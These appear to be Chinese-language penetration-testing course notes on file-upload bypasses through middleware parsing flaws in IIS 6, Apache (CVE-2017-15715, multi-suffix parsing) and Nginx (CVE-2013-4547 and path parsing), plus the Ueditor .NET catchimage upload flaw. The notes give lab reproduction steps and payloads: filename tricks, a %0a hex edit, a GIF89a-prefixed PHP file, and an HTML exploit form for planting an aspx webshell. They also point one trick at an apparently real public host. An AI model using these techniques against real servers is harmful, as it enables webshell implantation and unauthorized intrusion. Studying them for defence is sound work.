#知识点:
1、中间件安全问题
2、中间件文件上传解析
3、Web应用编辑器上传
#详细点:
1、检测层面:前端,后端等
2、检测内容:文件头,完整性,二次渲染等
3、检测后缀:黑名单,白名单,MIME检测等
4、绕过技巧:多后缀解析,截断,中间件特性,条件竞争等
#本章课程内容:
1、文件上传-CTF赛题知识点
2、文件上传-中间件解析&编辑器安全
3、文件上传-实例CMS文件上传安全分析
#前置:
后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外)
如:jpg图片里面有php后门代码,不能被触发,所以连接不上后门
如果要图片后缀解析脚本代码,一般会利用包含漏洞或解析漏洞,还有.user.ini&.htaccess
#实例CMS&平台-中间件解析&编辑器引用
1、中间件配置不当导致文件被恶意解析
2、CMS源码引用外部编辑器实现文件上传
案例:中间件文件解析漏洞-IIS&Apache&Nginx
1、IIS 6 7 文件名 目录名
1、文件名:x.asp;.x.jpg
2、目录名:x.asp/x.jpg
3、IIS7.X与Nginx解析漏洞一致
1、文件解析漏洞 - IIS 6.0:文件命名/目录名命名导致的安全漏洞
怎么利用这个解析漏洞呢
条件:
1. 中间件是IIS6.0
2.上传文件能不能修改上传目录或者上传的文件名能增加命名
比如:1.jpg可以命名为1.asp;.jpg,文件夹可以变成有asp后缀的1.asp/1.jpg
如果上传的文件名是固定的,而且目录也没办法创建,那么这个漏洞就没有用处。
文件命名格式为以下几种:
基于本地名命名
基于时间命名
基于随机字符命名
1. IIS 6:文件命名导致的安全问题
① 图片存放在\wwwroot\2,浏览器访问1.jpg,后门不会执行

②把文件名改为:1.asp;.jpg后(或者改为:xxx.asp;xxx.jpg),在浏览器访问,就可以执行asp/php的后门:

2. IIS 6:文件夹命名导致的安全问题
① 图片存放在\wwwroot\2\Images,浏览器访问1.jpg,后门不会执行:

②把文件夹的名字改为:Images.asp(.asp后缀),在浏览器访问,就可以执行asp/php的后门:

【例】:
服务器:Windows server 2003
访问192.168.199.136:81/upload.asp
登录后台admin panfei806

① 访问192.168.199.136:81/upload.asp
上传文件,抓包

② 上传正常的图片,保存的路径为http://192.168.199.136:81/20222238134313887.gif
发现路径可疑的值filepath=/
修改filepath的值,可以发现

③ 根据IIS的解析漏洞,把filepath的值修改为x.asp;. 则filepath=/x.asp;.

发现图片地址变成为http://192.168.199.136:81/x.asp;.20222238184089551.gif
访问这个地址,就可以从触发asp的代码。

修改filepath的值,同样也适用于目录的漏洞解析 filepath=/x.asp/

访问http://192.168.199.136:81/x.asp/20222238295688388.jpg
但是连接不成功,登上去服务器也没有发现这个x.asp的目录
2、中间件文件解析漏洞 - Apache HTTPD 换行解析漏洞(CVE-2017-15715)
这个漏洞的利用条件:
1.中间件是Apache
2.不直接上传.php文件,但可以上传.php%0a,来突破黑名单验证(黑名单规则:后缀是php、jsp等的脚本不让上传)
3. 白名单可能不行(必须包含在白名单里面的才能上传,比如 jpg png gif等)
白名单可能绕过的情况:比如上传1.jpg.php%0a,如果白名单规则没有考虑最后一个点为后缀,这时,这个白名单就可以进行绕过;
php%0a可以绕过黑名单,这个后缀也能正常解析脚本代码,但是绕过不了phpp%0a白名单。
【例】:
启动环境:
cd vulhub-master/
cd httpd/CVE-2017-15715/
sudo docker-compose build
uod docker-compose up -d
sudo docker-compose down
wp:https://vulhub.org/#/environments/httpd/CVE-2017-15715/
上传时,在1.php后面插入一个%0a(注意,不能是\x0D\x0A,只能是一个\x0A)
访问的时候,在后面加%0a,即/1.php%0a,发现能够成功解析,但是这个文件不是php后缀,说明目标存在解析漏洞
① 查看页面,中间件是Apache/2.4.10,可能存在Apache HTTPD 换行解析漏洞(CVE-2017-15715)


② 新建1.php文件,内容可以为后门代码

③ 上传1.php,发现不能直接上传php文件

④ 修改包,在"evil.php " 后面加一个空格(方便定位);然后切换到“Hex”,定位到“evil.php”的位置,将空格20改为0a


④改完后重新发包,上传成功

⑤ 不能直接访问xxx:8080/evil.php

⑥访问xxx:8080/evil.php%0a ,就可以看到phpinfo页面

3、Apache httpd 多后缀解析漏洞
配置不当导致的安全问题(不是漏洞)
这个漏洞的利用条件:
1. 中间件是Apache
2. 文件命名需要基于本地上传为准(可以命名为:1.php.jpg)
启动环境:
cd apache_parsing_vulnerability/
sudo docker-compose up -d
启动完成

① 访问地址 http://192.168.46.152/,中间件是Apache,可能存在这个漏洞



③ 访问:http://192.168.46.152/uploadfiles/1.php.png
结果,以php文件来执行的(如果不是以php文件来执行的,则会显示为图片)

④ 如果这个图片带有后门代码,就可以直接调用后门
如果这个文件保存的文件名是基于时间或者其他命令格式的话,把1.php.jpg命名成2022......655.jpg的话,那么这个漏洞就没有用。Nginx
4、Nginx 文件名逻辑漏洞(CVE-2013-4547)
wp:https://vulhub.org/#/environments/nginx/CVE-2013-4547/
nginx漏洞复现:中间件是nginx即可
启动环境:
cd /vulhub-master/nginx/CVE-2013-4547
sudo docker-compose build
sudo docker-compose up -d
① 访问http://192.168.199.129:8080/
先来信息收集等:发现是php+nginx搭建的平台。

② 上传一个“1.jpg ”的图片,注意在1.jpg中后面还应该有一个空格
对图片地址进行访问,因为在访问地址的时候,这个数据包不抓,所以进行访问首页添加地址,
在访问URL中/uploadfiles/11.png .php
用hex16进制修改20 00 发送数据包即可。

5、Nginx 解析漏洞复现
wp:https://vulhub.org/#/environments/nginx/nginx_parsing_vulnerability/
启动环境,找到相对应目录,一样启动道理
① 访问http://192.168.199.129,信息收集发现是Nginx和php
② 上传图片1.jpg(图片内容是:<?php phpinfo();?>),上传失败,发现对图片内容进行了检测,所以编辑1.jpg,加上图片头 GIF89a进行绕过:
GIF89a
<?php phpinfo();?>
重新上传成功:

③ 访问图片地址:http://192.168.199.129/uploadfiles/f3ccdd27d2000e3f9255a7e3e2c48800.jpg/*fnawejnf.php
在后面加上/*fnawejnf.php,就可以执行出PHP效果。
6、也有一些真实案例:
打开进入任意图片地址:
http://47.52.57.212/phpmyadmin/themes/pmahomme/img/logo_right.png
在地址后面加/1.php,图片直接以PHP文件来执行:
http://47.52.57.212/phpmyadmin/themes/pmahomme/img/logo_right.png/1.php

7、Web应用编辑器-Ueditor文件上传安全
编辑器:可以通过自己代码写,也可以通过插件来进行功能的实现。
Ueditor文件上传漏洞存在版本:1.4.3.3 Net版(目前最新版本,已停更)
Ueditor上传漏洞复现及环境搭建:https://www.cnblogs.com/hei-zi/p/13394764.html
① 搭建编辑器
② 新建一个up.html文件,写上漏洞利用代码:(注意修改访问地址)
<form action="http://192.168.46.139/net/controller.ashx?action=catchimage" enctype="multipart/form-data" method="POST">
<p>shell addr: <input type="text" name="source[]" /></p>
<input type="submit" value="Submit" />
</form>
③ 在浏览器中打开up.html,写上一个带有后门的图片地址,并在最后加上“?.aspx”,提交
https://www.baidu.com/img/PCtm_d9c8750bed0b3c7d089fa7d55720d6cf.png加上?.aspx

④在返回的地址里面进行访问,返回一个aspx的地址,得到后门

上传的文件地址:

其它存在漏洞的编辑器:fckeditor、ewebeditor、kindeditor
浙公网安备 33010602011771号